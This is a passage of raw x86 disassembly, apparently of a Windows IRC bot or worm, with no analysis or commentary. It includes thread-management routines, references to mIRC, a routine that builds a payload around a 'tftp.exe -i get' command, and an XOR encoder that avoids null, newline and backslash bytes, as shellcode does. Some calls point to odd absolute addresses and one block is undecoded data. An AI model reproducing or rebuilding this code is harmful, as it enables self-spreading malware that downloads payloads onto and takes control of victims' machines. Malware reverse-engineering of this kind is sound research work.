		jz	short loc_40AD97


loc_40AD92:				; CODE XREF: ___:0040AD52j
					; ___:0040AD62j
		mov	esi, offset dword_431604


loc_40AD97:				; CODE XREF: ___:0040AD32j
					; ___:0040AD39j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_4315FC
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40ADDB


loc_40ADB5:				; CODE XREF: ___:0040ADD9j
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ADB5


loc_40ADDB:				; CODE XREF: ___:0040ADB3j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ADE1	proc near		; CODE XREF: sub_40AE84+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		nop
		call	near ptr 269083Ah
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40AE30
		call	dword_4CB9E0
		test	eax, eax
		mov	eax, offset off_43162C
		jnz	short loc_40AE19
		mov	eax, offset byte_43DB88


loc_40AE19:				; CODE XREF: sub_40ADE1+31j
		push	eax
		push	esi
		push	offset dword_431624
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	short loc_40AE50
; ---------------------------------------------------------------------------


loc_40AE30:				; CODE XREF: sub_40ADE1+22j
		call	dword_4CB9E0
		test	eax, eax
		mov	eax, offset off_43162C
		jnz	short loc_40AE44
		mov	eax, offset byte_43DB88


loc_40AE44:				; CODE XREF: sub_40ADE1+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40AE50:				; CODE XREF: sub_40ADE1+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B9C0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40AE7F
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41CBC0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		add	esp, 18h


loc_40AE7F:				; CODE XREF: sub_40ADE1+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40ADE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE84	proc near		; CODE XREF: sub_4017ED+7Fp
					; sub_401955+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42D91C


loc_40AE90:				; CODE XREF: sub_40AE84+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40AEAB
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41CA50
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40AEB5
; ---------------------------------------------------------------------------


loc_40AEAB:				; CODE XREF: sub_40AE84+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40AEB5:				; CODE XREF: sub_40AE84+25j
		test	eax, eax
		jnz	short loc_40AEC7
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42D9A8
		jb	short loc_40AE90
		jmp	short loc_40AED5
; ---------------------------------------------------------------------------


loc_40AEC7:				; CODE XREF: sub_40AE84+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42D920[eax*4]
		pop	ecx


loc_40AED5:				; CODE XREF: sub_40AE84+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40AEE8
		push	[ebp+arg_0]
		call	sub_40ADE1
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40AEE8:				; CODE XREF: sub_40AE84+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40AE84	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		push	ebx
		push	esi
		lea	eax, [ebp-0B8h]
		push	edi
		push	eax
		mov	edi, offset byte_43DB88
		mov	dword ptr [ebp-0B8h], 94h
		nop
		call	near ptr 26D04D8h
		cmp	dword ptr [ebp-0B4h], 4
		push	0Ah
		pop	ebx
		jnz	short loc_40AF67
		cmp	dword ptr [ebp-0B0h], 0
		jnz	short loc_40AF48
		cmp	dword ptr [ebp-0A8h], 1
		jnz	short loc_40AF38
		mov	edi, offset dword_431620


loc_40AF38:				; CODE XREF: ___:0040AF31j
		cmp	dword ptr [ebp-0A8h], 2
		jnz	short loc_40AFA3
		mov	edi, offset dword_43161C
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF48:				; CODE XREF: ___:0040AF28j
		cmp	[ebp-0B0h], ebx
		jnz	short loc_40AF57
		mov	edi, offset dword_431618
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF57:				; CODE XREF: ___:0040AF4Ej
		cmp	dword ptr [ebp-0B0h], 5Ah
		jnz	short loc_40AF9E
		mov	edi, offset dword_431614
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF67:				; CODE XREF: ___:0040AF1Fj
		cmp	dword ptr [ebp-0B4h], 5
		jnz	short loc_40AF9E
		cmp	dword ptr [ebp-0B0h], 0
		jnz	short loc_40AF80
		mov	edi, offset dword_431610
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF80:				; CODE XREF: ___:0040AF77j
		cmp	dword ptr [ebp-0B0h], 1
		jnz	short loc_40AF90
		mov	edi, offset dword_43160C
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF90:				; CODE XREF: ___:0040AF87j
		cmp	dword ptr [ebp-0B0h], 2
		mov	edi, offset dword_431684
		jz	short loc_40AFA3


loc_40AF9E:				; CODE XREF: ___:0040AF5Ej
					; ___:0040AF6Ej
		mov	edi, offset dword_431680


loc_40AFA3:				; CODE XREF: ___:0040AF3Fj
					; ___:0040AF46j ...
		lea	eax, [ebp-0A4h]
		push	offset word_4CB88C
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AFC1
		mov	esi, offset dword_43167C
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40AFC1:				; CODE XREF: ___:0040AFB8j
		lea	eax, [ebp-0A4h]
		push	offset a1	; "1"
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AFDF
		mov	esi, offset sub_431678
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40AFDF:				; CODE XREF: ___:0040AFD6j
		lea	eax, [ebp-0A4h]
		push	offset dword_431674
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AFFD
		mov	esi, offset dword_431670
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40AFFD:				; CODE XREF: ___:0040AFF4j
		lea	eax, [ebp-0A4h]
		push	offset dword_43166C
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B01B
		mov	esi, offset dword_431668
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40B01B:				; CODE XREF: ___:0040B012j
		lea	eax, [ebp-0A4h]
		push	offset dword_431664
		push	eax
		call	sub_41C2E0
		pop	ecx
		mov	esi, offset dword_431660
		test	eax, eax
		pop	ecx
		jnz	short loc_40B03C
		mov	esi, offset off_43165C


loc_40B03C:				; CODE XREF: ___:0040AFBFj
					; ___:0040AFDDj ...
		lea	eax, [ebp-0Ch]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	eax
		or	dword ptr [ebp-8], 0FFFFFFFFh
		or	dword ptr [ebp-0Ch], 0FFFFFFFFh
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	0
		call	sub_41ADD8
		pop	ecx
		push	eax
		call	sub_41CCE3
		mov	eax, [ebp-4]
		add	esp, 14h
		cmp	eax, ebx
		jge	short loc_40B086
		push	eax
		push	offset a0D	; "0%d"
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_41C360
		add	esp, 10h
		jmp	short loc_40B0AA
; ---------------------------------------------------------------------------


loc_40B086:				; CODE XREF: ___:0040B06Fj
		cmp	eax, 64h
		jge	short loc_40B098
		lea	ecx, [ebp-18h]
		push	ebx
		push	ecx
		push	eax
		call	sub_42635C
		jmp	short loc_40B0A7
; ---------------------------------------------------------------------------


loc_40B098:				; CODE XREF: ___:0040B089j
		push	offset a99	; "99"
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_41C360


loc_40B0A7:				; CODE XREF: ___:0040B096j
		add	esp, 0Ch


loc_40B0AA:				; CODE XREF: ___:0040B084j
		nop
		call	near ptr 269083Ah
		push	eax
		call	sub_41C2B8
		pop	ecx
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 26D0000h
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		lea	eax, [ebp-24h]
		push	edi
		mov	edi, [ebp+8]
		push	eax
		push	offset aSSSS	; "%s|%s|%s|%s|"
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 1Ch
		cmp	dword_429098, esi
		jle	short loc_40B115


loc_40B0F0:				; CODE XREF: ___:0040B113j
		call	sub_41C2C2
		cdq
		mov	ecx, ebx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40B0F0


loc_40B115:				; CODE XREF: ___:0040B0EEj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B11C	proc near		; CODE XREF: sub_40B13C+Ap
					; sub_40B214+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_41B9C0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_41B9C0
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_40B11C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B13C	proc near		; CODE XREF: sub_40B22B+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40B11C
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_40B159
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40B159:				; CODE XREF: sub_40B13C+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_41B9C0
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_41B9C0
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_43171C, eax
		lea	eax, [edi+1]
		mov	dword_43173D, eax
		lea	eax, [edi+17h]
		mov	dword_431735, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_4316B8
		push	ebx
		mov	dword_43174B, eax
		call	sub_41CD20
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_41CD20
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CD20
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CD20
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CD20
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_41CD20
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_431741
		push	esi
		call	sub_41CD20
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B13C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B214	proc near		; CODE XREF: sub_40B22B+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40B11C
		push	eax
		call	sub_40B298
		add	esp, 0Ch
		retn
sub_40B214	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B22B	proc near		; CODE XREF: sub_40DCF9+32p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_40B214
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_40B24B
		cmp	eax, 0FFFFh
		jbe	short loc_40B24F


loc_40B24B:				; CODE XREF: sub_40B22B+17j
		xor	eax, eax
		jmp	short loc_40B294
; ---------------------------------------------------------------------------


loc_40B24F:				; CODE XREF: sub_40B22B+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_40B11C
		add	eax, 101h
		push	eax
		call	sub_41BEB5
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_40B11C
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_40B13C
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B3
		push	esi
		mov	edi, eax
		call	sub_41BA91
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_40B294:				; CODE XREF: sub_40B22B+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_40B22B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B298	proc near		; CODE XREF: sub_40B214+Ep
					; sub_40B2B3+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_40B2A1
		inc	ecx


loc_40B2A1:				; CODE XREF: sub_40B298+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_40B298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2B3	proc near		; CODE XREF: sub_40B22B+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_40B2CF
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_40B2CF
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_40B2CF
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_40B2D2


loc_40B2CF:				; CODE XREF: sub_40B2B3+8j
					; sub_40B2B3+Ej ...
		inc	[ebp+arg_C]


loc_40B2D2:				; CODE XREF: sub_40B2B3+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_40B2FA
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_40B2F3
		cmp	al, 0Dh
		jz	short loc_40B2F3
		cmp	al, 5Ch
		jz	short loc_40B2F3
		test	al, al
		jnz	short loc_40B2FA


loc_40B2F3:				; CODE XREF: sub_40B2B3+32j
					; sub_40B2B3+36j ...
		add	[ebp+arg_C], 100h


loc_40B2FA:				; CODE XREF: sub_40B2B3+28j
					; sub_40B2B3+3Ej
		push	[ebp+arg_C]
		call	sub_40B298
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_40B312
		cmp	eax, 0FFFFh
		jbe	short loc_40B319


loc_40B312:				; CODE XREF: sub_40B2B3+56j
		xor	eax, eax
		jmp	loc_40B3B7
; ---------------------------------------------------------------------------


loc_40B319:				; CODE XREF: sub_40B2B3+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, byte_4CBB18
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_40B349


loc_40B32D:				; CODE XREF: sub_40B2B3+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_40B340
		cmp	al, 0Ah
		jz	short loc_40B340
		cmp	al, 0Dh
		jz	short loc_40B340
		cmp	al, 5Ch
		jnz	short loc_40B344


loc_40B340:				; CODE XREF: sub_40B2B3+7Fj
					; sub_40B2B3+83j ...
		inc	bl
		xor	edx, edx


loc_40B344:				; CODE XREF: sub_40B2B3+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_40B32D


loc_40B349:				; CODE XREF: sub_40B2B3+78j
		cmp	ecx, esi
		mov	byte_4CBB18, bl
		ja	short loc_40B375
		push	15h
		push	offset loc_4316A0
		push	[ebp+arg_0]
		mov	byte_4316AD, cl
		mov	byte_4316B1, bl
		call	sub_41CD20
		add	esp, 0Ch
		push	15h
		jmp	short loc_40B396
; ---------------------------------------------------------------------------


loc_40B375:				; CODE XREF: sub_40B2B3+9Ej
		push	17h
		push	offset loc_431688
		push	[ebp+arg_0]
		mov	word_431696, cx
		mov	byte_43169B, bl
		call	sub_41CD20
		add	esp, 0Ch
		push	17h


loc_40B396:				; CODE XREF: sub_40B2B3+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_40B3B2
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]


loc_40B3A4:				; CODE XREF: sub_40B2B3+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_40B3A4


loc_40B3B2:				; CODE XREF: sub_40B2B3+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx


loc_40B3B7:				; CODE XREF: sub_40B2B3+61j
		pop	esi
		leave
		retn
sub_40B2B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B3BA	proc near		; CODE XREF: ___:00401599p
					; ___:004015D8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43E710


loc_40B3C2:				; CODE XREF: sub_40B3BA+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B3D6
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CB710
		jl	short loc_40B3C2
		jmp	short loc_40B421
; ---------------------------------------------------------------------------


loc_40B3D6:				; CODE XREF: sub_40B3BA+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43E710[esi]
		push	eax
		call	sub_41BFD0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43E910[esi], eax
		and	dword_43E914[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43E918[esi], 0
		mov	dword_43E91C[esi], eax
		and	byte_43E928[esi], 0
		pop	esi


loc_40B421:				; CODE XREF: sub_40B3BA+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B3BA	endp

; ---------------------------------------------------------------------------
byte_40B425	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2946o
		dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
		dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h,	6C858D00h, 0FFFFFFFFh
		dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
		dd 0C4830000h, 90006A14h, 2D4B8BE8h, 555E5F02h,	0EC81EC8Bh
		dd 200h, 6A5756h, 681075FFh, 43177Ch, 0FF0C75FFh, 0D2E80875h
		dd 83FFFFE3h, 0FF3314C4h, 43E710BEh, 3E8000h, 7D833C74h
		dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
		dd 0C54068FFh, 0E8500042h, 10D9Eh, 858D016Ah, 0FFFFFE00h
		dd 501075FFh, 0FF0C75FFh, 8AE80875h, 83FFFFE3h,	0C68124C4h
		dd 234h, 10FE8147h, 7C004CB7h, 0C95E5FB0h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B4F5	proc near		; CODE XREF: sub_401ACD+79AAp
					; sub_40B583+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B57D
		cmp	esi, 400h
		jge	short loc_40B57D
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43E924[esi]
		lea	edi, dword_43E924[esi]
		nop
		call	near ptr 26908E5h
		cmp	[edi], ebx
		jz	short loc_40B52D
		push	1
		pop	ebp


loc_40B52D:				; CODE XREF: sub_40B4F5+33j
		mov	[edi], ebx
		lea	edi, dword_43E918[esi]
		mov	dword_43E910[esi], ebx
		mov	dword_43E914[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B54E
		push	eax
		call	sub_419F16
		pop	ecx


loc_40B54E:				; CODE XREF: sub_40B4F5+50j
		mov	[edi], ebx
		lea	edi, dword_43E91C[esi]
		mov	byte ptr dword_43E710[esi], bl
		mov	byte_43E928[esi], bl
		push	dword ptr [edi]
		call	dword_4CBA6C
		lea	esi, dword_43E920[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CBA6C
		mov	[esi], ebx
		pop	edi


loc_40B57D:				; CODE XREF: sub_40B4F5+Dj
					; sub_40B4F5+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B4F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B583	proc near		; CODE XREF: sub_40111D+18p
					; ___:loc_4017D9p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43E710


loc_40B58F:				; CODE XREF: sub_40B583+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B5A0
		push	edi
		call	sub_40B4F5
		test	eax, eax
		pop	ecx
		jz	short loc_40B5A0
		inc	ebx


loc_40B5A0:				; CODE XREF: sub_40B583+Fj
					; sub_40B583+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CB710
		jl	short loc_40B58F
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B583	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B5B5	proc near		; CODE XREF: sub_401ACD+41B2p
					; sub_401ACD+4302p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43E914


loc_40B5C9:				; CODE XREF: sub_40B5B5+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B5EB
		test	edi, edi
		jle	short loc_40B5DD
		cmp	[esi], edi
		jz	short loc_40B5DD
		cmp	ebx, edi
		jnz	short loc_40B5EB


loc_40B5DD:				; CODE XREF: sub_40B5B5+1Ej
					; sub_40B5B5+22j
		push	ebx
		call	sub_40B4F5
		test	eax, eax
		pop	ecx
		jz	short loc_40B5EB
		inc	[ebp+var_4]


loc_40B5EB:				; CODE XREF: sub_40B5B5+1Aj
					; sub_40B5B5+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CB914
		jl	short loc_40B5C9
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B5B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B602	proc near		; CODE XREF: ___:00401630p
					; sub_401ACD+95Ep ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43E910


loc_40B609:				; CODE XREF: sub_40B602+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B612
		inc	eax


loc_40B612:				; CODE XREF: sub_40B602+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CB910
		jl	short loc_40B609
		retn
sub_40B602	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B621	proc near		; CODE XREF: sub_401ACD+23D9p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43E910


loc_40B62B:				; CODE XREF: sub_40B621+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B644
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CB910
		jl	short loc_40B62B
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B644:				; CODE XREF: sub_40B621+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B621	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B648	proc near		; CODE XREF: sub_401ACD+123Dp
					; sub_401ACD+125Bp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B661
		push	[ebp+arg_1C]
		call	sub_41C159
		pop	ecx


loc_40B661:				; CODE XREF: sub_40B648+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B5B5
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B68D
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_40B6A7
; ---------------------------------------------------------------------------


loc_40B68D:				; CODE XREF: sub_40B648+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41C266
		add	esp, 10h


loc_40B6A7:				; CODE XREF: sub_40B648+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B6C7
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_40B6C7:				; CODE XREF: sub_40B648+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		pop	ecx
		leave
		retn
sub_40B648	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B6D6	proc near		; CODE XREF: sub_4017ED+159p
					; ___:0040BD0Bp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43E924[eax], ecx
		mov	dword_43E910[eax], ecx
		mov	dword_43E914[eax], ecx
		mov	dword_43E918[eax], ecx
		mov	dword_43E91C[eax], ecx
		mov	dword_43E920[eax], ecx
		mov	byte ptr dword_43E710[eax], cl
		mov	byte_43E928[eax], cl
		retn
sub_40B6D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B713	proc near		; CODE XREF: sub_401ACD+7C2Bp
					; sub_40B841+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_40B71D:				; CODE XREF: sub_40B713+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B77D
		cmp	eax, 1
		jnz	short loc_40B77D
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B77D
		cmp	cl, 2Ah
		jz	short loc_40B764
		cmp	cl, 3Fh
		jz	short loc_40B747
		cmp	cl, 5Bh
		jz	short loc_40B74C
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40B747:				; CODE XREF: sub_40B713+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B777
; ---------------------------------------------------------------------------


loc_40B74C:				; CODE XREF: sub_40B713+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B7A9
